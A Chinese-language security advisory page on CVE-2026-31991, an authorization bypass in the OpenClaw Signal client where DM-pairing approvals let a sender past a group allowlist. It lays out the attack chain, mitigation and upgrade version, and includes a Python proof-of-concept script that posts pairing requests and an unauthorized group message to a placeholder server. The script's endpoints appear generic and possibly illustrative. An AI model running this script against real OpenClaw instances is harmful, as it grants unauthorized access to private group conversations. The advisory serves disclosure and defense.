IPBUF安全漏洞报告
English
CVE-2026-31991 CVSS 3.7 低危

CVE-2026-31991 OpenClaw群组允许列表授权绕过漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-31991
漏洞类型
授权绕过
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

授权绕过OpenClawSignal群组安全DM配对allowlist绕过CVE-2026-31991

漏洞概述

CVE-2026-31991是OpenClaw软件中的一个授权绕过安全漏洞。OpenClaw是Signal消息平台的一个开源客户端分支。该漏洞存在于Signal群组的安全机制中,具体表现为群组允许列表(allowlist)策略错误地接受了来自DM(直接消息)配对存储批准流程中的发送者身份。攻击者可以利用这一边界弱点,通过获取目标用户的DM配对批准来绕过群组允许列表的安全检查,从而获得未经授权的群组访问权限。这意味着攻击者可以向本应被限制的群组发送消息,或者查看群组内的通信内容。CVSS 3.1评分3.7分,属于低危级别,但仍然存在一定的安全风险,尤其是对于使用群组访问控制策略的组织。该漏洞由VulnCheck的安全团队发现并报告。

技术细节

该漏洞的根本原因在于OpenClaw在处理群组消息验证时,未能正确区分来自DM配对存储的发送者身份和群组成员身份。正常情况下,群组允许列表策略应该只接受群组成员的身份验证。但实现中存在边界检查缺陷,允许来自DM配对流程中已批准的身份通过验证。具体来说,当用户A向用户B发送DM配对请求并获得批准后,这个配对关系被存储在配对-store中。攻击者利用这个已批准的配对关系,在尝试加入受限制的群组时,其发送者身份被错误地识别为已授权的群组成员。这是由于群组允许列表检查逻辑在验证发送者身份时,优先查询了DM配对存储而非群组成员列表。攻击者需要先与目标用户建立DM配对关系并获得批准,然后利用这个批准状态绕过群组的访问控制。

攻击链分析

STEP 1
步骤1
攻击者向目标用户发送DM配对请求,建立直接消息连接
STEP 2
步骤2
目标用户批准攻击者的DM配对请求,批准状态被存储在配对-store中
STEP 3
步骤3
攻击者尝试向受保护的Signal群组发送消息,消息中携带DM配对批准标识
STEP 4
步骤4
OpenClaw群组允许列表检查逻辑错误地接受来自DM配对存储的发送者身份
STEP 5
步骤5
攻击者成功绕过群组允许列表,获得未授权的群组访问权限,可以查看群组消息或向群组发送消息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-31991 PoC - OpenClaw Authorization Bypass via DM Pairing Store # This PoC demonstrates the authorization bypass in Signal group allowlist policy import requests import json import time # Configuration TARGET_SERVER = "https://target-openclaw-instance.com" ATTACKER_ID = "attacker_phone_number" VICTIM_ID = "victim_phone_number" PROTECTED_GROUP_ID = "protected_group_id" def step1_dm_pairing_request(): """Step 1: Send DM pairing request to victim""" payload = { "action": "pairing_request", "from": ATTACKER_ID, "to": VICTIM_ID, "timestamp": int(time.time()) } response = requests.post(f"{TARGET_SERVER}/api/pairing", json=payload) return response.json() def step2_approve_pairing(): """Step 2: Simulate victim approving the DM pairing""" payload = { "action": "approve_pairing", "from": VICTIM_ID, "approved_id": ATTACKER_ID, "approved": True } response = requests.post(f"{TARGET_SERVER}/api/pairing/approve", json=payload) return response.json() def step3_bypass_group_allowlist(): """Step 3: Send message to protected group using DM pairing approval""" payload = { "action": "send_group_message", "from": ATTACKER_ID, "group_id": PROTECTED_GROUP_ID, "message": "Unauthorized message via allowlist bypass", "pairing_approved": True } response = requests.post(f"{TARGET_SERVER}/api/groups/{PROTECTED_GROUP_ID}/messages", json=payload) return response.json() def main(): print("CVE-2026-31991 PoC - OpenClaw Authorization Bypass") print("=" * 50) # Execute attack chain print("\n[Step 1] Sending DM pairing request...") result1 = step1_dm_pairing_request() print(f"Result: {json.dumps(result1, indent=2)}") print("\n[Step 2] Victim approves DM pairing...") result2 = step2_approve_pairing() print(f"Result: {json.dumps(result2, indent=2)}") print("\n[Step 3] Bypassing group allowlist with DM pairing approval...") result3 = step3_bypass_group_allowlist() print(f"Result: {json.dumps(result3, indent=2)}") if result3.get("success"): print("\n[!] Authorization bypass successful - message sent to protected group") else: print("\n[-] Attack failed") if __name__ == "__main__": main()

影响范围

OpenClaw < 2026.2.26

防御指南

临时缓解措施
如果无法立即升级,请暂时限制群组的allowlist功能使用,或在应用层增加额外的身份验证检查。同时监控异常的DM配对请求和群组访问行为。建议尽快升级到OpenClaw 2026.2.26或更高版本以获得完整的安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表